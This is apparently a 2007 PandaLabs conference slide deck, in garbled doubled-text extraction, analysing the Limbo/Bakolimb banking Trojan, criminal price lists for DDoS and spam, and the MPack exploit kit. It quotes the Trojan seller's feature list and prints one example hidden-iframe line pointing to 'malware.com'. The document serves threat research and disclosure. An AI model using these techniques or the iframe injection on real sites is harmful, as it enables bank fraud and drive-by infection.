
1

 Once upon a time a Trojan…

Luis Corrons

09/21/2007



2

The TrojanThe Trojan

 Once upon a time a Trojan…



3

The TrojanThe Trojan

 First discovered January, 2007 via “Targeted First discovered January, 2007 via “Targeted 
Attack Alert Services”Attack Alert Services”

 Affects multiple financial institutionsAffects multiple financial institutions

 Detected as Bakolimb, also known as Limbo or Detected as Bakolimb, also known as Limbo or 
Nethell.Nethell.

Consists of 3 main componentsConsists of 3 main components
– Helper.XMLHelper.XML
– Helper.DLLHelper.DLL
– Control Server and Control PanelControl Server and Control Panel

 Once upon a time a Trojan…
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The TrojanThe Trojan

 DLLDLL

 BHO (Browser Helper Object)BHO (Browser Helper Object)
 KeyloggerKeylogger
 Creates a UniqueID per infected machine. Uses Creates a UniqueID per infected machine. Uses 

this UID to communicate with the Control this UID to communicate with the Control 
Server and to receive commands from it Server and to receive commands from it 

 Client <-> server communication via PHP Client <-> server communication via PHP 
scriptsscripts

 Delete cookiesDelete cookies
 Info stored in text files. Info stored in text files. As soon as it connects As soon as it connects 

send TXT filesend TXT file

 Once upon a time a Trojan…



5

The TrojanThe Trojan

 XMLXML

 Code to be injected in websitesCode to be injected in websites

 Encrypted in latest versionsEncrypted in latest versions

 Once upon a time a Trojan…
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Control PanelControl Panel

 User AdminUser Admin

 Command AdminCommand Admin

 Search in logsSearch in logs

 Infect statsInfect stats

 Etc.Etc.

 Once upon a time a Trojan…
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 Once upon a time a Trojan…

Control PanelControl Panel

- Command execution and - Command execution and 
monitorization.monitorization.

- Commands are - Commands are 
queued in case queued in case 
client is not client is not 
connected.connected.
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Data stolenData stolen
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 Once upon a time a Trojan…

Trojan’s Author 

 GoogleGoogle

 Sells everything (Trojan & Control Panel)Sells everything (Trojan & Control Panel)

 Everything is well documentedEverything is well documented

 Advertised in different forums (all Russian)Advertised in different forums (all Russian)

 Price: 1000 – 350 wmzPrice: 1000 – 350 wmz
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Trojan’s Author Trojan’s Author 

– logging of virtual keyboards stealing of keys 
(bankofamerica but also of other banks which have 
key-based security system) 

– scam (aka fake pages with substitution of the IE 
address bar and status bar) 

– setting filters for sites which should not be grabbed

– code inject - to add your own text box into a 
particular site, e.g. for getting the holder's PIN 
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Trojan’s AuthorTrojan’s Author  

For an additional fee:

– Hidden transfer (transfer on command by the admin 
software) - adapted SPECIFICALLY for one particular 
bank

– Automatic download (e.g. when the user makes a 
transfer the Trojan substitutes your account 
completely or a drop and the appropriate sum) - 
useful if the transfer requires an SMS confirmation. 
Adapted specifically for a particular bank.
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Trojan’s Author Trojan’s Author 

- Antivirus software removal - 40 wmz
- Reprogramming to a different host - 40 wmz             

         
- Build - 1000 wmz

In addition, there is an option to buy a local parser for logs,
separately. For all questions please contact me via ICQ.

There are plans for sales of the builder. Estimated price: 
3500 wmz. .
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ServersServers

 GoogleGoogle

 Several serversSeveral servers

 Groups of servers belonged to different Groups of servers belonged to different 
hackershackers

 ““Sushi” serverSushi” server

 Once upon a time a Trojan…
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 ““Sushi” serverSushi” server
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 ““Sushi” serverSushi” server

 Once upon a time a Trojan…
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 ““Sushi” serverSushi” server

 Win32.exe = Trojan Win32.exe = Trojan 
downloaderdownloader

  
 February 28th, 2007February 28th, 2007  

 Installed:Installed:
 Trj/Spammer.ZOTrj/Spammer.ZO
 Adware/BravesentryAdware/Bravesentry

 Application/BravesentryApplication/Bravesentry

 Once upon a time a Trojan…
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 ““Sushi” serverSushi” server

 Earning money via sending spam and Earning money via sending spam and 
promoting rogue antispywarepromoting rogue antispyware

 Everyday there was a new downloader that Everyday there was a new downloader that 
installed different malwareinstalled different malware

 We finally managed to take the server downWe finally managed to take the server down

 Once upon a time a Trojan…
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 ““Sushi” serverSushi” server

 Who pays?Who pays?
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 ““Sushi” serverSushi” server

 Who pays?Who pays?

 How much?How much?
 USA $0.30USA $0.30
 Canada & UK $0.10Canada & UK $0.10
 Western Europe $0.03Western Europe $0.03
 Other Countries$0.02Other Countries$0.02

 Once upon a time a Trojan…
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 ““Sushi” serverSushi” server

 Let’s do some maths Let’s do some maths 

Other Countries: Other Countries: $0.02 * 43,323 = $966.46$0.02 * 43,323 = $966.46

Western Europe:Western Europe: $0.03 * 43,323 = $1,299.69$0.03 * 43,323 = $1,299.69

Canada & UK:Canada & UK: $0.10 * 43,323 = $4,332.30$0.10 * 43,323 = $4,332.30

USA:USA: $0.30 * 43,323 = $12,996.90$0.30 * 43,323 = $12,996.90

 Once upon a time a Trojan…

Other Countries: Other Countries: $0.02 * 43,323 *20 = $0.02 * 43,323 *20 = $19,329$19,329
Western Europe:Western Europe: $0.03 * 43,323 *20 = $25,993$0.03 * 43,323 *20 = $25,993
Canada & UK:Canada & UK: $0.10 * 43,323 *20 = $86,646$0.10 * 43,323 *20 = $86,646
USA:USA: $0.30 * 43,323 *20 = $$0.30 * 43,323 *20 = $259,938259,938
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Infected TeamInfected Team  
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Infected Team Infected Team 

 Value added servicesValue added services

 Proxy salesProxy sales
 5 - $2.55 - $2.5
 1,000 - $3001,000 - $300

 DDoSDDoS
 1 hour - $201 hour - $20
 1 day - $1001 day - $100
 Major projects starting at $200Major projects starting at $200
 10 minutes for free!10 minutes for free!
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Infected Team Infected Team 

 Value added servicesValue added services

 SpamSpam
– Russia (enterprises): 5,000,000Russia (enterprises): 5,000,000

– US$120 / million messagesUS$120 / million messages
– Russia (home users), Ukraine and CIS: 20,700,000Russia (home users), Ukraine and CIS: 20,700,000

– US$100 / million messagesUS$100 / million messages
– USA: 121,000,000USA: 121,000,000

– US$150 / million messagesUS$150 / million messages
– Western Europe: 45,902,256Western Europe: 45,902,256

– US$130/million messagesUS$130/million messages

Total: 192,000,000Total: 192,000,000
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Infected Team Infected Team 

 SoftwareSoftware

 Personal cryptor ($15, updates $5)Personal cryptor ($15, updates $5)

 ABLoader ($60, builder $500)ABLoader ($60, builder $500)

 RooT iFrame ($25 Russian, $50 English)RooT iFrame ($25 Russian, $50 English)

 SpamPHP Script ($2)SpamPHP Script ($2)

 FTPCheckIframe ($25)FTPCheckIframe ($25)
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““Cool” stuff found on the Cool” stuff found on the 
serversservers
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““Cool” stuff found on the serversCool” stuff found on the servers
 IDPackIDPack

Plastic ID card Support Plastic ID card Support 

Double Side ID Card PrinterDouble Side ID Card Printer

Simulate Double Side Card PrinterSimulate Double Side Card Printer

Signature PadSignature Pad

Fingerprint ReaderFingerprint Reader

Magnetic Stripe EncoderMagnetic Stripe Encoder

Smartcard Contact StationSmartcard Contact Station

Fast and easy to useFast and easy to use

Design an unlimited number of badgesDesign an unlimited number of badges

User-friendly interfaceUser-friendly interface

Unlimited badge formatsUnlimited badge formats

Flexible layouts: PVC, 1000 Avery, 36 Zebra/Citizen and 40 DYMO LabelWriter Flexible layouts: PVC, 1000 Avery, 36 Zebra/Citizen and 40 DYMO LabelWriter 
label formats.label formats.

Takes pictures from a Webcam, a CamTracer or imports it from fileTakes pictures from a Webcam, a CamTracer or imports it from file

Powerful print managementPowerful print management

Operates in local and network setupsOperates in local and network setups

High production volumeHigh production volume

14 security levels with color codes14 security levels with color codes

28 types of barcodes built in28 types of barcodes built in
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““Cool” stuff found on the serversCool” stuff found on the servers

 PhishingPhishing
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 Once upon a time a Trojan…

CoolCool stuff found on the servers stuff found on the servers

 Dream DownloaderDream Downloader
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CoolCool stuff found on the servers stuff found on the servers

 How could they manage to infect How could they manage to infect 
thousands of computers?thousands of computers?
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MPack

 Tracing Mpack for 2 months (April & May Tracing Mpack for 2 months (April & May 
2007):2007):

 41 different servers with Mpack running41 different servers with Mpack running

 366,717 web pages “iframed”366,717 web pages “iframed”

 More than 1 million users infected (1,217,741)More than 1 million users infected (1,217,741) 
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MPack

 Tool to install malwareTool to install malware

 Written in PHPWritten in PHP

 Developed by “Dream Coders Team”Developed by “Dream Coders Team”

 Price $700 ($1,000 including Dream Price $700 ($1,000 including Dream 
Downloader)Downloader)
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MPackMPack

 Adding new exploit: $50 - $150Adding new exploit: $50 - $150

 Avoid AV detection: $20 – $30Avoid AV detection: $20 – $30
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MPackMPack

 Many different exploits:Many different exploits:

 WebViewFolderIcon overflowWebViewFolderIcon overflow

 WinZip ActiveX overflowWinZip ActiveX overflow

 QuickTime overflowQuickTime overflow

 ANI overflowANI overflow

 Etc.Etc.
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MPackMPack

 Most used way to infect users: iframeMost used way to infect users: iframe

<iframe scr=”malware.com” width=”1” 
height=”1”</iframe>
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MPackMPack

 Detects browser:Detects browser:
 OperaOpera
 KonquerorKonqueror
 LynxLynx
 Internet ExplorerInternet Explorer
 NetscapeNetscape
 MozillaMozilla
 FirefoxFirefox
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MPackMPack

 Detects OS:Detects OS:
 LinuxLinux
 WindowsWindows
 MacMac
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MPackMPack
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Organized CrimeOrganized Crime
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Organized CrimeOrganized Crime

http://pandalabs.pandasecurity.com/blogs/images/PandaLabs/2007/08/14/loadscc.jpg
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Organized CrimeOrganized Crime
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Thanks!Thanks!
Luis Corrons

luis.corrons@pandasecurity.com

PandaLabs Blog:

http://www.pandalabs.com


